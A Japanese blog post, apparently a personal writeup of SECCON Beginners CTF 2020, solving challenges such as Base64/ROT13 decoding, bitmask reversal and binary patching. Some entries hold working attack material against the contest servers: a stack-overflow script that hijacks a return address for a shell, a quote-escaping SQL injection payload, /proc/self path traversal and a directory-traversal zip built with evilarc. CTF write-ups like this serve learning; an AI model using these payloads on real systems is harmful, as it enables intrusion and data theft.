← 戻る

SECCON Beginners CTF 2020 writeup

2020-05-24

writeup というのが何なのかよくわかってないですが、それっぽいのを書いてみます。CTF 歴は 2018 年の ctf4b 以来 2 回目です。

Welcome

Discord に貼られた Flag を入れるだけ。

Spy

リストにある名前を適当に入れてみると、一瞬でレスポンスが返る時もあれば 1 秒ぐらいかかる時もある。 1 秒かかるやつ(たぶん暗号化とかで時間かかってそう)をあつめてチェックいれればよし。

R&B

頭に R がついてたら ROT13 の逆、頭に B がついてたら Base64 の Decode をすればよし。Python 久々に書く上に Python3 は初だったので bytes と str の型変換でとまどった。

import base64

flag = b'BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ=='

def b64decode(s):
    return base64.b64decode(s)

def rrot13(s):
    def f(x):
        ch = x
        if ord('a') <= ch and ch <= ord('z'):
            ch = ch - 13
            if ch < ord('a'):
                ch += ord('z') - ord('a')+1
        elif ord('A') <= ch and ch <= ord('Z'):
            ch = ch - 13
            if ch < ord('A'):
                ch += ord('Z') - ord('A')+1
        return ch
    return bytes([f(x) for x in s])

while True:
    print(flag, flag[0])
    if flag[0] == ord(b'B'):
        flag = b64decode(flag[1:])
    elif flag[0] == ord(b'R'):
        flag = rrot13(flag[1:])
    else:
        print("unkwno")
        exit()

mask

Ghidra で逆アセンブルしたところ、2 つのビットマスクに対して FLAG を 1 文字ずつ AND をとって、結果がそれぞれ期待した文字列になるかをチェックしていた。 2 つのビットマスクの情報を合わせたら元の FLAG を復元できるので、復元する。

package main

import (
    "fmt"
)

func main() {
    k1 := "atd4`qdedtUpetepqeUdaaeUeaqau"
    k2 := "c`b bk`kj`KbababcaKbacaKiacki"
    m1 := byte(0x75)
    m2 := byte(0xeb)
    for i := 0; i < len(k1); i++ {
        var b byte
        b = (k1[i] & m1) | (k2[i] & m2)
        fmt.Printf("%c", b)
    }
}

Beginner’s Stack

適当に埋めてったらRSP is misaligned!って言われた。 どうすればいいのかよくわからんかったけど、飛ばす先の関数アドレスを+1 したら大丈夫だった(よくわからん…)。

from socket import *
from struct import *
from time import sleep
from telnetlib import Telnet

s = socket(AF_INET, SOCK_STREAM)
s.connect(("bs.quals.beginners.seccon.jp", 9001))

s.send(b'\x00\x00\x00\x00\x00\x00\x00\x00'*5+b'\x62\x08\x40\x00\x00\x00\x00\x00\x00')

t = Telnet()
t.sock = s
t.interact()

ググったところ telnetlib というのを使っている方がいたので真似した。 Python は標準ライブラリが豊富ですごいなあとおもいました。

readme

/からのパスであること、ctfという文字列を含まないことという制約がある。 最初エスケープシーケンスとかでがんばれば回避できるかと思って試したけどうまくいかなかった。 その後、/proc/self/cwd経由の相対パスならいけることがわかった。 カレントディレクトリは/proc/self/environの PWD から取れる。

emoemoencode

Flag のフォーマット的にctf{xxx}なので、最初の文字が c に相当するとしてシーザー復号すればよし。

s = "🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽"
ss = ""
for c in s:
    d = ord(c)-127843+ord('c')
    print(ord(c), chr(d))
    ss += chr(d)
print(ss)

Tweetstore

'\'とエンコードしているが、\'を入力すれば\\'になるのでシングルクオートを閉じることができる。 あとはコメントで後続のクエリを無視して、\' UNION select user, user, now() --を search word に入れれば解ける。

unzip

https://github.com/ptoomey3/evilarc これで directory traversal な zip をつくったらいけた。

python  evilarc.py  flag.txt --depth 7 --os unix

sneaky

Ghidra で逆アセンブルしたところ、ソースが複雑でよくわからなかった。 適当にぽちぽち見てたらちょうど GAMEOVER 出力してるっぽいところがあって、 その近辺で 10000 という定数と比較しているコードがあった。 10000 がハイスコア閾値なんじゃ…と思い、バイナリエディタで実行ファイルを書き換えて 0 にしてみる。 10000(0x0f27)が出てくるところは 4 箇所あって、1 個だけ書き換えるだとだめで、全部書き換えたところアイテムを 1 個取るだけで OK になった。